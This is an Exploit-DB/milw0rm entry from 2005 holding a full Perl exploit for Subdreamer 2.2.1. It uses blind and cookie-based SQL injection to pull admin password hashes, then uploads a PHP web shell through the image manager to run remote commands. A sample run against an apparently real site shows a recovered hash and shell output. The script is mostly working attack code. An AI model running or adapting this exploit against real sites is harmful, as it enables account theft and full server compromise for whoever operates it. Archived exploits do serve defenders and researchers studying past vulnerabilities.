Subdreamer 2.2.1 - SQL Injection / Command Execution

EDB-ID:

1278

Author:

RusH

Type:

webapps

Platform:

PHP

Published:

2005-10-31

#!/usr/bin/perl

## Subdreamer 2.2.1 command exec exploit
## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
## supported targets:
##  ~ without forum integration
##  ~ with phpBB2 integration
##  ~ with ipb2 integration
##  ~ with vbulletin2 integration
## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
## based on RST/GHC advisory #35
## http://rst.void.ru/papers/advisory35.txt
## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
## (c)oded by 1dt.w0lf - 19/09/2005
## RST/GHC
## http://rst.void.ru
## http://ghc.ru
## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

## work:
## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
## r57subdreamer.pl -p http://subdreamer.com.ru/ -u 2 -t 1
## ------------------------------------------------------------------
## [~]   PATH : http://subdreamer.com.ru/
## [~]   USER : 2
## [~] TARGET : 1 - PhpBB2
## [1] STEP 1 : TRY GET USER PASSWORD
## [~] SEARCHING PASSWORD ... [ DONE ]
## -----------------------------------------------------------
##  USER_ID: 2
##     PASS: 26310e438a5a1fb8622738f1e5d34f8b
## -----------------------------------------------------------
## [2] STEP 2 : CHECK WHAT USER HAVE ACCESS TO ADMIN ZONE
## [+] DONE! THIS USER HAVE ACCESS!
## [3] STEP 3 : UPLOAD FILE
## [+] DONE! FILE "img.php" UPLOADED
## [+] WELL DONE! NOW YOU CAN EXECUTE COMMANDS! =)
## SUBDREAMER# id; uname -a; ls -la;
## ----------------------------------------------------------------
## uid=1003(apache) gid=1003(apache) groups=1003(apache)
## FreeBSD customer-3314.cit-network.net 5.3-RELEASE FreeBSD 5.3-RELEASE #0:
## Fri Nov  5 04:19:18 UTC 2004     root@harlow.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
## total 24
## drwxrwxrwx   5 enshteyn  apache  512 Sep 19 23:04 .
## drwxr-x---  10 enshteyn  apache  512 Sep 17 21:03 ..
## drwxr-xr-x   2 enshteyn  apache  512 Sep 10 14:09 Image
## -rw-r--r--   1 apache    apache   48 Sep 19 23:04 img.php
## drwxrwxrwx   2 enshteyn  apache  512 Sep 10 14:09 logos
## drwxrwxrwx   2 enshteyn  apache  512 Sep 10 14:09 smilies
## ----------------------------------------------------------------
## SUBDREAMER# exit
## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

## config
## ------
##
## images folder
$img_folder = 'images';
## or try
##$img_folder = 'images/logos';
##
## end config

use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;

getopts('u:p:h:t:');

$path = $opt_p;
$user = $opt_u;
$hash = $opt_h;
$target = $opt_t || 0;

$s_num = 1;
$|++;
$n = 0;

@targets = (
#['target name','colimn1 in database','colimn2 in database','cookie name 1','cookie name 2']
 ['Subdreamer without forum','userid','password','sduserid','sdpassword'],
 ['PhpBB2','user_id','user_password','phpbb2mysql_data',''],
 ['IPB2','id','member_login_key','member_id','pass_hash'],
 ['PhpBB2 cookie injection','','','phpbb2mysql_data',''],
 ['IPB2 cookie injection','id','','member_id','pass_hash'],
 ['Vbulletin cookie injection','userid','','bbuserid','bbpassword'],
);

if (!$path || !$user || $target<0 || $target>5) { &usage; }
&head();
if($path=~/[^\/]$/) { $path .= '/'; }
print "[~]   PATH : $path\r\n";
print "[~]   USER : $user\r\n";
print "[~] TARGET : $target - $targets[$target][0]\r\n";
if($target==1||$target==2||$target==0) {
print "[1] STEP 1 : TRY GET USER PASSWORD\r\n";
if(!$hash){
print "[~] SEARCHING PASSWORD ... [|]";

FIND: while(1)
{
if(&found(47,58)==0) { &found(96,103); } 
$char = $i;
if ($char=="0") 
 { 
 if(length($allchar) > 0){
 print qq{\b\b DONE ] 
-----------------------------------------------------------
 USER_ID: $user
    PASS: $allchar
-----------------------------------------------------------
};
 last FIND;
 }
 else
 {
 print "\b\b FAILED ]";
 }
 exit(); 
 }
else 
 {  
 $allchar .= chr($char); 
 }
$s_num++;
}
}
else
{
print "[~] SKIP. HASH EXISTS\r\n"; 
$allchar = $hash;
}
}

print "[2] STEP 2 : CHECK WHAT USER HAVE ACCESS TO ADMIN ZONE\r\n";
if(&check_admin_rights())
 {
 print "[+] DONE! THIS USER HAVE ACCESS!\r\n"; 
 }
else
 {
 print "[-] DAMN! THIS USER NOT ADMIN =(\r\n"; 
 exit();
 }

print "[3] STEP 3 : UPLOAD FILE\r\n";
if(&upload_file())
 {
 print "[+] DONE! FILE \"img.php\" UPLOADED\r\n"; 
 }
else
 { 
 print "[-] DAMN! UPLOAD ERROR =(\r\n"; 
 exit();
 }
print "[+] WELL DONE! NOW YOU CAN EXECUTE COMMANDS! =)\r\n"; 

while ()
 {
    print "SUBDREAMER# ";
    while(<STDIN>)
     {
        $cmd=$_;
        chomp($cmd);
        exit() if ($cmd eq 'exit');
        last;
     }
    &run($cmd);
 }
 
sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = " BETWEEN $r AND $fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 status();
 $ccheck = $_[0];
 $username = "no_such_user' OR (".$targets[$target][1]."=".$user." AND (ascii(substring(".$targets[$target][2].",".$s_num.",1))".$ccheck.")) /*";
  
 $xpl = LWP::UserAgent->new() or die;
 $res = $xpl->post($path.'index.php',
 {
 "loginusername" => $username,
 "loginpassword" => "nap0Jlb_Haxep",
 "login"         => "login",
 "Submit now"    => "Login"
 }
 ); 
 @results = $res->content; 
 
 foreach $result(@results)
  {
  if ($result =~ /(Database error)|(Invalid SQL)/i)
   {
   print "\r\n[-] SQL SYNTAX ERROR! CHECK TARGET!\r\n"; 
   exit();
   }
  #print $result;
  # english pattern
  if ($result =~ /Wrong Password/) { return 1; }
  # russian pattern
  if ($result =~ /...... ......./) { return 1; }
  # russian pattern 2
  if ($result =~ /............ ....../) { return 1; }
  # russian pattern 3 ( KOI8-R tested on subdreamer.com.ru )
  if ($result =~ /...... ......./) { return 1; }
  }
 return 0;
 }
 
sub status()
{
  $status = $n % 5;
  if($status==0){ print "\b\b/]";  }
  if($status==1){ print "\b\b-]";  }
  if($status==2){ print "\b\b\\]"; }
  if($status==3){ print "\b\b|]";  }
}

sub check_admin_rights()
 {
 $xpl = LWP::UserAgent->new() or die;
 $cookie_jar = HTTP::Cookies->new( );
 $xpl->cookie_jar( $cookie_jar );
 ($host = $path) =~ s!http://([^/]*).*!$1!;

if($target == 1)
  {
  # not default phpbb2 cookie, work for subdreamer.com.ru ... maybe default for subdreamer pro RU ???
  #$cookie_jar->set_cookie( "0",$targets[$target][3], 'autologinid='.$allchar.'|userid='.$user,"/",$host,,,,,);
  # default phpbb2 cookie  
  $cookie_jar->set_cookie( "0",$targets[$target][3],"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%22".$allchar."%22%3Bs%3A6%3A%22userid%22%3Bs%3A".length($user)."%3A%22".$user."%22%3B%7D","/",$host,,,,,);
  }
 elsif($target == 3)
  {
  # phpbb2 cookie with sql injection
  $cookie_jar->set_cookie( "0",$targets[$target][3],"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A3%3A%22666%22%3Bs%3A6%3A%22userid%22%3Bs%3A".(length($user)+4)."%3A%22".$user."%27+%2F%2A%22%3B%7D","/",$host,,,,,);  
  }
 elsif($target == 4)
  {
  # ipb2 cookie with sql injection
  $cookie_jar->set_cookie( "0",$targets[$target][3],"666\\","/",$host,,,,,);  
  $cookie_jar->set_cookie( "1",$targets[$target][4],"/**/OR/**/".$targets[$target][2]."=".$user."","/",$host,,,,,);
  }
 elsif($target == 5)
  {
  # Vbulletin cookie with sql injection
  $cookie_jar->set_cookie( "0",$targets[$target][3],"666\\","/",$host,,,,,);  
  $cookie_jar->set_cookie( "1",$targets[$target][4],"/**/OR/**/".$targets[$target][2]."=".$user."","/",$host,,,,,);
  }
 else
  {
  # subdreamer || ipb2 cookies
  $cookie_jar->set_cookie( "0",$targets[$target][3], $user,"/",$host,,,,,);
  $cookie_jar->set_cookie( "1",$targets[$target][4], $allchar,"/",$host,,,,,);
  }
  
 $res = $xpl->get($path."admin/index.php");
 if($res->content =~ /loginpassword/) { return 0; }
 else { return 1; }
 }

sub upload_file()
 {
 $xpl = LWP::UserAgent->new() or die;
 $cookie_jar = HTTP::Cookies->new( );
 $xpl->cookie_jar( $cookie_jar );
 ($host = $path) =~ s!http://([^/]*).*!$1!;
 
 if($target == 1)
  {
  # not default phpbb2 cookie, work for subdreamer.com.ru ... maybe default for subdreamer pro RU ???
  #$cookie_jar->set_cookie( "0",$targets[$target][3], 'autologinid='.$allchar.'|userid='.$user,"/",$host,,,,,);
  # default phpbb2 cookie
  $cookie_jar->set_cookie( "0",$targets[$target][3],"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%22".$allchar."%22%3Bs%3A6%3A%22userid%22%3Bs%3A".length($user)."%3A%22".$user."%22%3B%7D","/",$host,,,,,);
  }
 elsif($target == 3)
  {
  # phpbb2 cookie with sql injection
  $cookie_jar->set_cookie( "0",$targets[$target][3],"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A3%3A%22666%22%3Bs%3A6%3A%22userid%22%3Bs%3A".(length($user)+4)."%3A%22".$user."%27+%2F%2A%22%3B%7D","/",$host,,,,,);  
  }
 elsif($target == 4)
  {
  # ipb2 cookie with sql injection
  $cookie_jar->set_cookie( "0",$targets[$target][3],"666\\","/",$host,,,,,);  
  $cookie_jar->set_cookie( "1",$targets[$target][4],"/**/OR/**/".$targets[$target][2]."=".$user."","/",$host,,,,,);
  }
 elsif($target == 5)
  {
  # Vbulletin cookie with sql injection
  $cookie_jar->set_cookie( "0",$targets[$target][3],"666\\","/",$host,,,,,);  
  $cookie_jar->set_cookie( "1",$targets[$target][4],"/**/OR/**/".$targets[$target][2]."=".$user."","/",$host,,,,,);
  }
 else
  {
  # subdreamer || ipb2 cookies
  $cookie_jar->set_cookie( "0",$targets[$target][3], $user,"/",$host,,,,,);
  $cookie_jar->set_cookie( "1",$targets[$target][4], $allchar,"/",$host,,,,,);
  }
  
 $res = $xpl->post($path.'admin/imagemanager.php',Content_Type => 'form-data',
 Content => [
 'action'        => 'uploadimage',
 'folderpath'    => "../$img_folder/",
 'MAX_FILE_SIZE' => '1000000',
 'image'   => [ 
               undef,
               'img.php', 
               Content_type => 'text/plain',
               Content => '<? if($_POST[cmd]) { passthru($_POST[cmd]); } ?>', 
              ],
 'submit'        => 'Upload Image',
 ],
 );
 if($res->content =~ /Settings Updated/) { return 1; }
 if($res->content =~ /Uploading Errors/) { return 0; }
 else { return 1; }
 }

sub run()
 {
 $xpl = LWP::UserAgent->new() or die;
 $res = $xpl->post($path.$img_folder.'/img.php',{'cmd'=>$cmd}); 
 print "----------------------------------------------------------------\r\n";
 print $res->content;
 print "----------------------------------------------------------------\r\n";
 }

sub usage()
 {
 &head();
 print q(|                                                                    |
| - Usage:                                                           |
| r57subdreamer.pl -p <path> -u <user_id> [-t <target>] [-h <hash>]  |
|     <path>    - Path to subdreamer folder                          |
|     <user_id> - User id for bruteforce                             |
|     <hash>    - MD5 password hash for this user if you have it =\)  |
| - Available targets:                                               |
|          - brute password:                                         |
|               0 - Subdreamer without forum integration ( default ) |
|               1 - Subdreamer with PhpBB2 integration               |
|               2 - Subdreamer with IPB2 integration                 |
|          - cookie sql injection, dont need brute password:         |
|               3 - Subdreamer with PhpBB2 integration 2             |
|               4 - Subdreamer with IPB2 integration 2               |
|               5 - Subdreamer with Vbulletin integration            |
+--------------------------------------------------------------------+
| e.g.:                                                              |
| r57subdreamer.pl -p http://127.0.0.1/subdreamer/ -u 1              |
| r57subdreamer.pl -p http://www.subdreamer.com.ru -u 2 -t 1         | 
+--------------------------------------------------------------------+
| visit us: http://rst.void.ru , http://ghc.ru                       |
+--------------------------------------------------------------------+
 );
 exit();
 }

sub head()
 {
 print q(
+--------------------------------------------------------------------+
| Subdreamer version 2.2.1 sql injection + command execution exploit |
|                          by 1dt.w0lf                               |
|                            RST/GHC                                 |
+--------------------------------------------------------------------+
);}

# milw0rm.com [2005-10-31]